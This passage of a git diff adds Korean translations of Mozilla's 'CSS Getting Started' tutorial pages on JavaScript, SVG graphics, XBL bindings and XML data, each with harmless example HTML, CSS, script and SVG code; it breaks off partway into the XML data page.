+++ b/files/ko/web/css/getting_started/javascript/index.html
@@ -0,0 +1,144 @@
+---
+title: JavaScript
+slug: Web/CSS/Getting_Started/JavaScript
+tags:
+  - 'CSS:Getting_Started'
+translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
+---
+<p>이 페이지는 입문서의 II 부입니다. II 부는 모질라에서의 CSS의 범위(scope)를 보여주는 예제들을 포함하고 있습니다.</p>
+<p>II 부의 각 페이지는 CSS 가 다른 기술(technologies)들과 어떻게 상호작용하는지 설명하고 있습니다. 이 페이지들은 이들 다른 기술들을 사용하는 방법들을 가르치기위해서 디자인 되지는 않았습니다. 이 들 기술들을 자세히 배우려면 다른 입문서를 보세요.</p>
+<p>대신 이 페이지들은 CSS의 다양한 사용법을 설명하기 위해서 디자인되었습니다. 이들 페이지들을 사용하려면, CSS에 대해 좀 알고 있어야만 합니다, 그러나, 다른 분야 기술들에대한 어떤 지식을 필요로하지는 않습니다.</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.28JavaScript.29" name=".EC.A0.95.EB.B3.B4:_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.28JavaScript.29">정보: 자바스크립트(JavaScript)</h3>
+<p>자바스크립트(JavaScript)는
+ <i>
+  프로그래밍 언어</i>
+ 입니다. 모질라 애플리케이션( 예를 들면, 모질라 브라우저) 사용할 때, 컴퓨터가 실행시키는 코드의 많은 부분이 자바스크립트로 쓰여져 있습니다.</p>
+<p>자바스크립트는 스타일 시트와 상호작용하여, 문서 스타일을 동적으로 변화시키는 프로그램을 쓸 수 있게 해줍니다.</p>
+<p>이렇게 하는데 세가지 방법이 있습니다:</p>
+<ul>
+ <li>문서의 스타일 시트 리스트와 함께 작동함으로써 — 예: 스타일 시트를 첨가, 제거, 또는 수정함으로써</li>
+ <li>스타일 시트의 규칙(rules)와 함께 작동함으로써 — 예: 규칙을 첨가, 제거, 또는 수정 함으로써</li>
+ <li>DOM내의 각 엘리먼트(element)와 함께 작동함으로써 — 예: 문서 스타일을 문서의 스타일 시트와는 독립적으로 수정함으로써</li>
+</ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+ <caption>
+  More details</caption>
+ <tbody>
+  <tr>
+   <td>모질라에서의 자바스트립트에 대해 더 많은 정보를 원하시면, 이 위키(wiki)에 있는 <a href="ko/JavaScript">JavaScript</a>페이지를 보세요.</td>
+  </tr>
+ </tbody>
+</table>
+<h3 id=".EC.95.A1.EC.85.98:_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.98.88.EC.A0.9C.28demonstration.29" name=".EC.95.A1.EC.85.98:_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.98.88.EC.A0.9C.28demonstration.29">액션: 자바스크립트 예제(demonstration)</h3>
+<p>새로은 HTML 문서 <code>doc5.html</code>를 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+
+&lt;HEAD&gt;
+&lt;TITLE&gt;Mozilla CSS Getting Started - JavaScript demonstration&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style5.css"&gt;
+&lt;SCRIPT type="text/javascript" src="script5.js"&gt;&lt;/SCRIPT&gt;
+&lt;/HEAD&gt;
+
+&lt;BODY&gt;
+&lt;H1&gt;JavaScript sample&lt;/H1&gt;
+
+&lt;DIV id="square"&gt;&lt;/DIV&gt;
+
+&lt;BUTTON type="button" onclick="doDemo(this);"&gt;Click Me&lt;/BUTTON&gt;
+
+&lt;/BODY&gt;
+&lt;/HTML&gt;
+</pre>
+</div>
+<p>새로운 CSS 파일 <code>style5.css</code>을 만드세요. 아래의 내용물을 복사해서 붙여넣으세요:</p>
+<div style="width: 48em;">
+ <pre>/*** JavaScript demonstration ***/
+#square {
+  width: 20em;
+  height: 20em;
+  border: 2px inset gray;
+  margin-bottom: 1em;
+  }
+
+button {
+  padding: .5em 2em;
+  }
+</pre>
+</div>
+<p>새로운 텍스트 파일 <code>script5.js</code>을 만드세요. 아래의 내용물을 복사해서 붙여넣으세요:</p>
+<div style="width: 48em;">
+ <pre>// JavaScript demonstration
+function doDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "#fa4"
+  button.setAttribute("disabled", "true")
+  setTimeout(clearDemo, 2000, button)
+  }
+
+function clearDemo (button) {
+  var square = document.getElementById("square")
+  square.style.backgroundColor = "transparent"
+  button.removeAttribute("disabled")
+  }
+</pre>
+</div>
+<p>브라우저에서 문서을 열고 버튼을 누르세요.</p>
+<p>이 위키페이지는 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 버튼을 누른 전과 후가 대략 다음과 같이 보입니다:</p>
+<table>
+ <tbody>
+  <tr>
+   <td style="padding-right: 2em;">
+    <table style="border: 2px outset #36b; padding: 0 1em .5em .5em;">
+     <tbody>
+      <tr>
+       <td>
+        <p><b>JavaScript demonstration</b></p>
+        <div style="width: 5em; height: 5em; border: 2px inset gray; background-color: white;">
+         <div style="width: 2em; height: 1em; border: 1px outset black; background-color: #ccc; margin-top: 4px;">
+           </div>
+        </div>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table style="border: 2px outset #36b; padding: 0 1em .5em .5em;">
+     <tbody>
+      <tr>
+       <td>
+        <p><b>JavaScript demonstration</b></p>
+        <div style="width: 5em; height: 5em; border: 2px inset gray; background-color: #fa4;">
+         <div style="width: 2em; height: 1em; border: 1px inset black; background-color: #ccc; margin-top: 4px;">
+           </div>
+        </div>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>이 예제에서 주의할 점:</p>
+<ul>
+ <li>HTML 문서는 전처럼 스타일 시트에 링크되어 있으며, 스크립트에도 링크되어 있습니다.</li>
+ <li>스크립트는 DOM안의 개개의 엘리먼트(element)와 함께 작동합니다. 스크립트는 사각형(square)의 스타일을 직접 수정합니다. 스크립트는 버튼의 스타일을 속성(attribute)을 변경함으로써 간접적으로 수정합니다.</li>
+ <li>자바스크립트에서 <code>document.getElementById("square")</code> 는 그 기능상 CSS 선별자(selector) <code>#square</code> 와 유사합니다.</li>
+ <li>자바스크립트에서 <code>backgroundColor</code>는 CSS 속성 <code>background-color</code>에 상응합니다.</li>
+ <li>브라우저는 버튼이 사용할 수 없게 되었을 때 그 모습을 바꾸어 주는 <code>button{{ mediawiki.external('disabled=\"true\"') }}</code>에 대한 내장된 CSS 규칙을 가지고 있습니다.</li>
+</ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;">
+ <caption>
+  Challenge</caption>
+ <tbody>
+  <tr>
+   <td>스크립트를 변경해서 사각형(square)이 색이 변할 때 오른쪽으로 20em 점프했다가 이후 되 돌아오게 만드세요.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F">그럼 다음은?</h4>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.</p>
+<p>이 예제에서 HTML 문서가 단지 버튼 엘리먼트만이 스크립트를 사용함에도 불구하고 스크립트에 링크를 가지고 있었습니다. 모질라는 CSS를 확장해서 자바스크립트 코드를 (내용물과 다른 스타일 시트들도) 선택된 엘리먼트에 링크할 수 있게 합니다. 다음 페이지에서는 다음을 실행해 봅니다: <b><a href="ko/CSS/Getting_Started/XBL_bindings">XBL bindings</a></b></p>
diff --git a/files/ko/web/css/getting_started/svg_graphics/index.html b/files/ko/web/css/getting_started/svg_graphics/index.html
new file mode 100644
index 0000000000..d8ca001fb2
--- /dev/null
+++ b/files/ko/web/css/getting_started/svg_graphics/index.html
@@ -0,0 +1,195 @@
+---
+title: SVG graphics
+slug: Web/CSS/Getting_Started/SVG_graphics
+tags:
+  - 'CSS:Getting_Started'
+translation_of: Web/SVG/Tutorial/SVG_and_CSS
+---
+<p>이 페이지는 그래픽을 만들기 위한 특별한 언어 SVG를 설명합니다.</p>
+<p>SVG 기능이 있는 모질라 브라우저에서 작동하는 간단한 예제를 만듭니다.</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_SVG" name=".EC.A0.95.EB.B3.B4:_SVG">정보: SVG</h3>
+<p>
+ <i>
+  SVG</i>
+ (Scalable Vector Graphics, 스케일러블 벡터 그래픽)은 그래픽을 만들어내기 위한 XML-기반 언어입니다.</p>
+<p>움직이지 않는 이미지(static image)를 위해 사용될 수 있으며, 또한 애니메이션 과 사용자 인터페이스를 위해서도 사용될 수 있습니다.</p>
+<p>다른 XML-기반 언어들과 같이, SVG는 CSS 스타일 시트를 지원하여 그래픽에 사용되는 스타일을 그래픽의 내용물과 분리시킬 수 있게 합니다.</p>
+<p>또한, 다른 문서 마크업 언어들과 함께 사용되는 스타일 시트들도 이미지가 요구되는 곳에 SVG 그래픽의 URL을 지정할 수 있습니다. 예를들면, HTML 문서와 함께 사용하는 스타일 시트에서 <code>background</code> 속성 값에 SVG값의 URL을 지정할 수 있습니다.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+ <caption>
+  More details</caption>
+ <tbody>
+  <tr>
+   <td>이글을 쓰는 시점에서(2005년 중반), 모질라 브라우저의 몇몇 최근 빌드만이 SVG 지원을 내장하고 있었습니다.
+    <p><a class="external" href="http://www.adobe.com/svg/viewer/install/main.html">Adobe</a>에서 제공되는 것 같은 플럭인(plugin)을 인스톨하면 다른 버전에서도 SVG 지원을 추가할 수 있습니다.</p>
+    <p>모질라에서의 SVG에 관한 더많은 정보를 원하시면, 이 위키안의 <a href="ko/SVG">SVG</a> 페이지를 보세요.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h3 id=".EC.95.A1.EC.85.98:_SVG_.EC.98.88.EC.A0.9C" name=".EC.95.A1.EC.85.98:_SVG_.EC.98.88.EC.A0.9C">액션: SVG 예제</h3>
+<p>새로운 SVG 문서를 텍스트 파일 <code>doc8.svg</code>로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;?xml version="1.0" standalone="no"?&gt;
+
+&lt;?xml-stylesheet type="text/css" href="style8.css"?&gt;
+
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+
+&lt;svg width="600px" height="600px" viewBox="-300 -300 600 600"
+  xmlns="http://www.w3.org/2000/svg" version="1.1"
+  xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+&lt;title&gt;SVG demonstration&lt;/title&gt;
+&lt;desc&gt;Mozilla CSS Getting Started - SVG demonstration&lt;/desc&gt;
+
+&lt;defs&gt;
+  &lt;g id="segment" class="segment"&gt;
+    &lt;path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/&gt;
+    &lt;path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/&gt;
+    &lt;/g&gt;
+  &lt;g id="quadrant"&gt;
+    &lt;use xlink:href="#segment"/&gt;
+    &lt;use xlink:href="#segment" transform="rotate(18)"/&gt;
+    &lt;use xlink:href="#segment" transform="rotate(36)"/&gt;
+    &lt;use xlink:href="#segment" transform="rotate(54)"/&gt;
+    &lt;use xlink:href="#segment" transform="rotate(72)"/&gt;
+    &lt;/g&gt;
+  &lt;g id="petals"&gt;
+    &lt;use xlink:href="#quadrant"/&gt;
+    &lt;use xlink:href="#quadrant" transform="rotate(90)"/&gt;
+    &lt;use xlink:href="#quadrant" transform="rotate(180)"/&gt;
+    &lt;use xlink:href="#quadrant" transform="rotate(270)"/&gt;
+    &lt;/g&gt;
+  &lt;radialGradient id="fade" cx="0" cy="0" r="200"
+      gradientUnits="userSpaceOnUse"&gt;
+    &lt;stop id="fade-stop-1" offset="33%"/&gt;
+    &lt;stop id="fade-stop-2" offset="95%"/&gt;
+    &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+&lt;text id="heading" x="-280" y="-270"&gt;
+  SVG demonstration&lt;/text&gt;
+&lt;text  id="caption" x="-280" y="-250"&gt;
+  Move your mouse pointer over the flower.&lt;/text&gt;
+
+&lt;g id="flower"&gt;
+  &lt;circle id="overlay" cx="0" cy="0" r="200"
+    stroke="none" fill="url(#fade)"/&gt;
+  &lt;use id="outer-petals" xlink:href="#petals"/&gt;
+  &lt;use id="inner-petals" xlink:href="#petals"
+    transform="rotate(9) scale(0.33)"/&gt;
+  &lt;/g&gt;
+
+&lt;/svg&gt;
+</pre>
+</div>
+<p>새로운 CSS 문서를 텍스트 파일 <code>style8.css</code>로 만드세요. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>/*** SVG demonstration ***/
+
+/* page */
+svg {
+  background-color: beige;
+  }
+
+#heading {
+  font-size: 24px;
+  font-weight: bold;
+  }
+
+#caption {
+  font-size: 12px;
+  }
+
+/* flower */
+#flower:hover {
+  cursor: crosshair;
+  }
+
+/* gradient */
+#fade-stop-1 {
+  stop-color: blue;
+  }
+
+#fade-stop-2 {
+  stop-color: white;
+  }
+
+/* outer petals */
+#outer-petals {
+  opacity: .75;
+  }
+
+#outer-petals .segment-fill {
+  fill: azure;
+  stroke: lightsteelblue;
+  stroke-width: 1;
+  }
+
+#outer-petals .segment-edge {
+  fill: none;
+  stroke: deepskyblue;
+  stroke-width: 3;
+  }
+
+#outer-petals .segment:hover &gt; .segment-fill {
+  fill: plum;
+  stroke: none;
+  }
+
+#outer-petals .segment:hover &gt; .segment-edge {
+  stroke: slateblue;
+  }
+
+/* inner petals */
+#inner-petals .segment-fill {
+  fill: yellow;
+  stroke: yellowgreen;
+  stroke-width: 1;
+  }
+
+#inner-petals .segment-edge {
+  fill: none;
+  stroke: yellowgreen;
+  stroke-width: 9;
+  }
+
+#inner-petals .segment:hover &gt; .segment-fill {
+  fill: darkseagreen;
+  stroke: none;
+  }
+
+#inner-petals .segment:hover &gt; .segment-edge {
+  stroke: green;
+  }
+</pre>
+</div>
+<p>문서를 SVG 기능이 있는(SVG-enabled) 브라우저에서 여세요. 마우스 포인터(mouse pointer)를 그래픽위로 움직여 보세요.</p>
+<p>이 위키페이지는 SVG를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 다음과 같이 보입니다:</p>
+<table style="border: 2px outset #36b;">
+ <tbody>
+  <tr>
+   <td><img alt="SVG demonstration"></td>
+  </tr>
+ </tbody>
+</table>
+<p>이 예제에서 주의할 점:</p>
+<ul>
+ <li>SVG 문서는 전처럼 스타일 시트에 링크되어 있습니다.</li>
+ <li>SVG는 그 자신만의 CSS 스타일 시트와 값을 가지고 있습니다. 이들중 몇가지는 HTML을 위한 CSS의 속성과 비슷합니다.</li>
+</ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+ <caption>
+  Challenge</caption>
+ <tbody>
+  <tr>
+   <td>스타일 시트를 변경해서, 마우스 포인터가 안쪽 꽃잎들 중 한개 위에 오게 되면, 바깥 쪽 꽃잎이 작동하는 방식은 바뀌지 않은채 모든 안쪽꽃잎 색이 핑크(pink)색으로 변하게 하세요</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F">그럼 다음은?</h4>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.</p>
+<p>이 예제에서 SVG 기능이 있는(SVG enabled) 브라우저는 이미 SVG 엘리먼트를 디스플레이하는 방법을 알고 있습니다. 스타일 시트는 단지 그 디스플레이를 특정 방식으로 수정할 뿐 입니다. 그러나 디스플레이하는 방식이 미리 지정되어 있지 않은 범용(general-purpose) XML 문서를 위해서 CSS를 사용할 수있습니다. 다음 페이지에서는 이를 실행해 봅니다: <b><a href="ko/CSS/Getting_Started/XML_data">XML data</a></b></p>
+<p>{{ languages( { "fr": "fr/CSS/Premiers_pas/Graphiques_SVG", "pl": "pl/CSS/Na_pocz\u0105tek/Grafika_SVG" } ) }}</p>
diff --git a/files/ko/web/css/getting_started/xbl_bindings/index.html b/files/ko/web/css/getting_started/xbl_bindings/index.html
new file mode 100644
index 0000000000..6799095812
--- /dev/null
+++ b/files/ko/web/css/getting_started/xbl_bindings/index.html
@@ -0,0 +1,198 @@
+---
+title: XBL bindings
+slug: Web/CSS/Getting_Started/XBL_bindings
+tags:
+  - 'CSS:Getting_Started'
+translation_of: Archive/Beginner_tutorials/Using_XBL_from_stylesheets
+---
+<p>이 페이지는 모질라에서 CSS를 사용하여 복잡한 애플리케이션의 구조를 향상시켜 코드와 자원(resources)을 보다 쉽게 재사용(recycle)할 수 있게 만드는 방법을 설명합니다.</p>
+<p>이 테크닉을 간단한 예제에 적용시켜 봅니다.</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_XBL_.EB.B0.94.EC.9D.B8.EB.94.A9.28bindings.29" name=".EC.A0.95.EB.B3.B4:_XBL_.EB.B0.94.EC.9D.B8.EB.94.A9.28bindings.29">정보: XBL 바인딩(bindings)</h3>
+<p>마크업 언어와 CSS에서 제공되는 구조(structure)는 각 부분이 독립적이고(self-contained) 재 사용되어야 하는 복잡한 애플리케이션에 이상적이라고는 할 수 없습니다. 스타일 시트들을 다른 파일들에 저장할 수 있고, 스크립트들도 다른 파일들에 저장 해 놓을 수 있으나, 문서에서 이들 파일들을 하나의 전체로서 링크해야만 합니다.</p>
+<p>또 다른 구조적 제한사항은 내용물에 관한 것입니다. CSS를 사용하여 선택된 엘리먼트들에 내용물을 제공해 줄 수 있으나, 내용물은 텍스트와 이미지에 한정되어 있으며, 그 위치지정은(positioning) 선택된 엘리먼트의 앞 또는 뒤로 한정되어 있습니다.</p>
+<p>모질라는 이러한 제한 사항들을 극복할 미케니즘을 제공합니다:
+ <i>
+  XBL</i>
+ (XML 바인딩 언어, XML Binding Language)가 바로 그것입니다. XBL을 사용해서 선택된 엘리먼트를 다음의 것들과 링크시킬 수 있습니다:</p>
+<ul>
+ <li>에리먼트의 스타일 시트</li>
+ <li>엘리먼트의 내용물</li>
+ <li>엘리먼트의 속성(property)과 메소드(method)</li>
+ <li>엘리먼트의 이벤트 핸들러(event hadler)</li>
+</ul>
+<p>문서 레벨에서 모든것을 링크시키는 것을 피할 수 있기 때문에, 유지와 재사용이 쉬운 독립적인 부분들을 만들어 낼 수 있습니다.</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;">
+ <caption>
+  More details</caption>
+ <tbody>
+  <tr>
+   <td>XBL 바인딩에 대한 더 많은 정보를 원하시면, 이 위키의 <a href="ko/XBL">XBL</a> 페이지를 보세요.</td>
+  </tr>
+ </tbody>
+</table>
+<h3 id=".EC.95.A1.EC.85.98:_XBL_.EC.98.88.EC.A0.9C" name=".EC.95.A1.EC.85.98:_XBL_.EC.98.88.EC.A0.9C">액션: XBL 예제</h3>
+<p>새로운 HTML 문서 <code>doc6.html</code>를 만드세요. 아래의 내용물을 복사해서 붙여넣으세요.</p>
+<div style="width: 48em;">
+ <pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"&gt;
+&lt;HTML&gt;
+
+&lt;HEAD&gt;
+&lt;TITLE&gt;Mozilla CSS Getting Started - XBL demonstration&lt;/TITLE&gt;
+&lt;LINK rel="stylesheet" type="text/css" href="style6.css"&gt;&lt;/strong&gt;
+&lt;/HEAD&gt;
+
+&lt;BODY&gt;
+&lt;H1&gt;XBL demonstration&lt;/H1&gt;
+&lt;DIV id="square"&gt;Click Me&lt;/DIV&gt;
+&lt;/BODY&gt;
+
+&lt;/HTML&gt;
+</pre>
+</div>
+<p>새로운 CSS 파일 <code>style6.css</code>을 만드세요. 이 스타일 시트는 문서 스타일을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣으세요.</p>
+<div style="width: 48em;">
+ <pre>/*** XBL demonstration ***/
+#square {
+  -moz-binding: url("square.xbl#square");
+  }
+</pre>
+</div>
+<p>새로운 텍스트 파일 <code>square.xbl</code>을 만드세요. 이 스타일 시트는 XBL 바인딩(binding)을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣되 스크롤해서 전체를 다 넣을 수 있도록 하세요:</p>
+<p> </p>
+<div style="width: 48em; height: 12em; overflow: auto;">
+ <pre>&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE bindings&gt;
+&lt;bindings xmlns="http://www.mozilla.org/xbl"&gt;
+
+&lt;binding id="square"&gt;
+
+  &lt;resources&gt;
+    &lt;stylesheet src="bind6.css"/&gt;
+    &lt;/resources&gt;
+
+  &lt;content xmlns="http://www.w3.org/1999/xhtml"&gt;
+    &lt;div anonid="square"/&gt;
+    &lt;button anonid="button" type="button"&gt;
+      &lt;xbl:children/&gt;
+      &lt;/button&gt;
+    &lt;/content&gt;
+
+  &lt;implementation&gt;
+
+    &lt;field name="square"&gt;&lt;![CDATA[
+      document.getAnonymousElementByAttribute(this, "anonid", "square")
+      ]]&gt;&lt;/field&gt;
+
+    &lt;field name="button"&gt;&lt;![CDATA[
+      document.getAnonymousElementByAttribute(this, "anonid", "button")
+      ]]&gt;&lt;/field&gt;
+
+    &lt;method name="doDemo"&gt;
+      &lt;body&gt;&lt;![CDATA[
+        this.square.style.backgroundColor = "#cf4"
+        this.square.style.marginLeft = "20em"
+        this.button.setAttribute("disabled", "true")
+        setTimeout(this.clearDemo, 2000, this)
+        ]]&gt;&lt;/body&gt;
+      &lt;/method&gt;
+
+    &lt;method name="clearDemo"&gt;
+      &lt;parameter name="me"/&gt;
+      &lt;body&gt;&lt;![CDATA[
+        me.square.style.backgroundColor = "transparent"
+        me.square.style.marginLeft = "0"
+        me.button.removeAttribute("disabled")
+        ]]&gt;&lt;/body&gt;
+      &lt;/method&gt;
+
+    &lt;/implementation&gt;
+
+  &lt;handlers&gt;
+    &lt;handler event="click" button="0"&gt;&lt;![CDATA[
+     if (event.originalTarget == this.button) this.doDemo()
+     ]]&gt;&lt;/handler&gt;
+    &lt;/handlers&gt;
+
+  &lt;/binding&gt;
+
+&lt;/bindings&gt;
+</pre>
+</div>
+<p>새로운 CSS 파일 <code>bind6.css</code>을 만드세요. 이 새 스타일 시트는 바인딩에대한 스타일(style for the binding)을 담고 있습니다. 아래의 내용물을 복사해서 붙여넣으세요.</p>
+<div style="width: 48em;">
+ <pre>/*** XBL demonstration ***/
+[anonid="square"] {
+  width: 20em;
+  height: 20em;
+  border: 2px inset gray;
+  }
+
+[anonid="button"] {
+  margin-top: 1em;
+  padding: .5em 2em;"
+  }
+</pre>
+</div>
+<p>브라우저에서 문서을 열고 버튼을 누르세요.</p>
+<p>이 위키페이지는 자바스크립트를 지원하지 않습니다. 따라서 예제가 어떻게 실행되는 지 보여드릴 수 없습니다. 버튼을 누른 전과 후가 대략 다음과 같이 보입니다:</p>
+<table>
+ <tbody>
+  <tr>
+   <td style="padding-right: 2em;">
+    <table style="border: 2px outset #36b; padding: 0 4em .5em .5em;">
+     <tbody>
+      <tr>
+       <td>
+        <p><b>XBL demonstration</b></p>
+        <div style="width: 5em; height: 5em; border: 2px inset gray; background-color: white; margin-right: 5em;">
+         <div style="width: 2em; height: 1em; border: 1px outset black; background-color: #ccc; margin-top: 4px;">
+           </div>
+        </div>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table style="border: 2px outset #36b; padding: 0 4em .5em .5em;">
+     <tbody>
+      <tr>
+       <td>
+        <p><b>XBL demonstration</b></p>
+        <div style="width: 5em; height: 5em; border: 2px inset gray; background-color: #cf4; margin-left: 5em;">
+         <div style="width: 2em; height: 1em; border: 1px inset black; background-color: #ccc; margin-top: 4px;">
+           </div>
+        </div>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>이 예제에서 주의할 점:</p>
+<ul>
+ <li>HTML 문서는 전처럼 문서의 스타일 시트에 링크되어 있습니다. 그러나 어떤 자바스크립트 코드에도 링크되어 있지 않습니다.</li>
+ <li>문서는 아무 버튼도 포함하고 있지 않습니다. 문서는 버튼 레이블(label)의 텍스트만을 포함하고 있습니다. 버튼은 바인딩(binding)에 의해서 더해집니다.</li>
+ <li>문서 스타일 시트는 바인딩(binding)에 링크되어 있습니다.</li>
+ <li>바인딩(binding)은 그 자신의 스타일에 링크되어 있고, 그 자신의 내용물과 자바스크립트 코드를 지원합니다. 따라서, 바인딩은 독립적으로(self-contained) 되어있습니다.</li>
+</ul>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;">
+ <caption>
+  Challenges</caption>
+ <tbody>
+  <tr>
+   <td>XBL 파일을 수정해서 사각형(square)이 색이 바뀔 때 오른쪽으로 점핑하는 대신 폭이(width) 2배가 되도록 하세요.
+    <p>DOM Inspector tool을 사용하여 문서를 조사해서 추가된 내용물을 확인해 보세요.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h4 id=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F" name=".EA.B7.B8.EB.9F.BC_.EB.8B.A4.EC.9D.8C.EC.9D.80.3F">그럼 다음은?</h4>
+<p>If you had difficulty understanding this page, or if you have other comments about it, please contribute to its <a>Discussion</a> page.</p>
+<p>이 문서에서, 사각형(square)과 버튼은 독립적인 HTML 문서내에서 작동하는
+ <i>
+  위젯(widget)</i>
+ 이 되었습니다. 모질라는 사용자 인터페이스를 만들어내는 데 특별한 마크업 언어를 가지고 있습니다. 다음 페이지에서는 이것을 실행해 봅니다: <b><a href="ko/CSS/Getting_Started/XUL_user_interfaces">XUL user interfaces</a></b></p>
+<p>{{ languages( { "fr": "fr/CSS/Premiers_pas/Liaisons_XBL", "pl": "pl/CSS/Na_pocz\u0105tek/Wi\u0105zania_XBL" } ) }}</p>
diff --git a/files/ko/web/css/getting_started/xml_data/index.html b/files/ko/web/css/getting_started/xml_data/index.html
new file mode 100644
index 0000000000..fc674a29e4
--- /dev/null
+++ b/files/ko/web/css/getting_started/xml_data/index.html
@@ -0,0 +1,186 @@
+---
+title: XML data
+slug: Web/CSS/Getting_Started/XML_data
+tags:
+  - 'CSS:Getting_Started'
+translation_of: Archive/Beginner_tutorials/XML_data
+---
+<p>이 페이지는 XML 데이터와 함께 CSS를 사용할 수 있는 방법에 대한 예제들을 담고 있습니다.
+</p><p>샘플 XML 문서와 이 문서를 브라우저에 디스플레이할 때 사용할 수 있는 스타일 시트를 만듭니다.
+</p>
+<h3 id=".EC.A0.95.EB.B3.B4:_XML_.EB.8D.B0.EC.9D.B4.ED.84.B0" name=".EC.A0.95.EB.B3.B4:_XML_.EB.8D.B0.EC.9D.B4.ED.84.B0"> 정보: XML 데이터 </h3>
+<p><i><a href="ko/XML">XML</a></i>(확장 마크업 언어, eXtensible Markup Lanugage)는 모든 종류의 구조화 된 데이터를 위한 범용(general-purpose) 언어입니다.
+</p><p>디폴트로, 모질라 브라우저는 XML을 XML파일의 원래 데이터와 매우 유사한 포맷으로 디스플레이합니다.
+데이터의 구조를 정의하는 실제 택들을 볼 수 있습니다.
+</p><p>CSS 스타일 시트를 XML 문서와 링크함으로써, 이를 디스플레이하는 다른 방식을 정의할 수 있습니다.
+이를 위해, 스타일 시트는 XML 문서의 택들과 HTML에 의해 사용되는 디스플레이 유형들(types)에 매핑(map)시키는 규칙들을 사용합니다.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Example
+</caption><tbody><tr>
+<td> XML 문서의 데이터는 <code>html:input</code> 택들을 사용합니다. 문서의 <small>INFO</small> 엘리먼트들이 HTML 단락처럼 디스플레이 되기 원한다고 가정합시다.
+<p>문서의 스타일 시트에 <small>INFO</small>엘리먼트가 어떻게 디스플레이 될 것인지 지정합니다:
+</p>
+<div style="width: 30em;">
+<pre class="eval">INFO {
+  display: block;
+  margin: 1em 0;
+  }
+</pre>
+</div>
+</td></tr></tbody></table>
+<p>가장 흔한 <code>display</code> 속성 값은 다음과 같습니다:
+</p>
+<table style="margin-left: 2em;">
+<tbody><tr>
+<td style="padding-right: 2em;"><code>block</code></td><td>HTML의 <small>DIV</small>처럼 나타남 (머리글, 문단 등)
+</td></tr>
+<tr>
+<td><code>inline</code></td><td>HTML의 <small>SPAN</small>처럼 나타남 (문서의 강조)
+</td></tr></tbody></table>
+<p>HTML에서와 같은 방식으로 폰트, 스페이싱(spacing) 그리고 다른 세부사항들을 지정하는 자기 자신의 스타일 규칙을 더하세요.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>More details
+</caption><tbody><tr>
